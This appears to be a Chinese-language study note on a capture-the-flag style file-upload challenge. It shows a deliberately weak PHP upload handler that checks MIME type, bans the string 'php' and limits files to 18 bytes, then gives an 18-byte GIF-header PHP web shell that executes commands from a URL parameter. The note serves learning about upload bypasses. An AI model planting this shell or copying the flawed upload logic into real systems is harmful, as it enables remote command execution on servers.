WEB笔记
一个用于记录学习的笔记
WEB笔记
文件上传
长度限制
先来看一下源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
// 启动会话
session_start();
// 上传目录
$uploadDir = 'uploads/';
// 确保上传主目录存在
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
// 为每个用户创建基于session ID的子目录
$userSessionDir = $uploadDir . session_id() . '/';
if (!file_exists($userSessionDir)) {
mkdir($userSessionDir, 0777, true);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$fileName = $file['name'];
$fileTmpName = $file['tmp_name'];
$fileSize = $file['size'];
$fileError = $file['error'];
// 获取MIME类型
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($fileTmpName);
// 允许的MIME类型
$allowedMimeTypes = [
'image/jpeg',
'image/png',
'image/gif'
];
// 检查MIME类型
if (!in_array($mimeType, $allowedMimeTypes)) {
die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:不允许的文件类型。只允许上传JPG、PNG或GIF图片。</div>');
}
// 内容检测(检测'php'或'<?php',但长度限制在18字节以内)
$fileContent = file_get_contents($fileTmpName);
if ($fileSize > 18 || (strpos($fileContent, 'php') !== false || strpos($fileContent, '<?php') !== false)) {
die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件内容包含不允许的字符串或者上传内容长度大于18。</div>');
}
// 检查文件大小(示例:限制为2MB)
if ($fileSize > 2 * 1024 * 1024) {
die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件大小超过2MB。</div>');
}
// 生成唯一文件名
$uniqueFileName = uniqid('upload_') . '_' . $fileName;
$destination = $userSessionDir . $uniqueFileName;
// 移动文件
if (move_uploaded_file($fileTmpName, $destination)) {
echo '<div class="text-secondary"><i class="fa fa-check-circle mr-2"></i>文件上传成功!</div>';
// 如果是图片,显示预览
if (in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'])) {
echo '<div class="mt-4"><img src="' . $destination . '" alt="上传的图片" class="max-w-full rounded-lg shadow-md"></div>';
}
// 显示文件信息
echo '<div class="mt-4 text-gray-700">';
echo '<p><strong>文件名:</strong> ' . $fileName . '</p>';
echo '<p><strong>保存路径:</strong> ' . $destination . '</p>';
echo '<p><strong>MIME类型:</strong> ' . $mimeType . '</p>';
echo '<p><strong>文件大小:</strong> ' . formatBytes($fileSize) . '</p>';
echo '</div>';
} else {
die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件上传失败。</div>');
}
}
}
// 格式化文件大小
function formatBytes($bytes, $precision = 2) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
?>
主要限制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 检查MIME类型
if (!in_array($mimeType, $allowedMimeTypes)) {
die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:不允许的文件类型。只允许上传JPG、PNG或GIF图片。</div>');
}
// 内容检测(检测'php'或'<?php',但长度限制在18字节以内)
$fileContent = file_get_contents($fileTmpName);
if ($fileSize > 18 || (strpos($fileContent, 'php') !== false || strpos($fileContent, '<?php') !== false)) {
die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件内容包含不允许的字符串或者上传内容长度大于18。</div>');
}
// 检查文件大小(示例:限制为2MB)
if ($fileSize > 2 * 1024 * 1024) {
die('<div class="text-danger"><i class="fa fa-exclamation-circle mr-2"></i>错误:文件大小超过2MB。</div>');
}
这里既要图片内容是JPG、PNG或GIF图片,又要长度为18个字节
正常来说一句话木马的长度就已经超过18个字节了,短标签加GIF头也超过18个字节了
经过测试,尝试删除不必要的字符
1
GIF8<?=`$_GET[1]`; # 刚好18个字节
本文由作者按照 CC BY 4.0 进行授权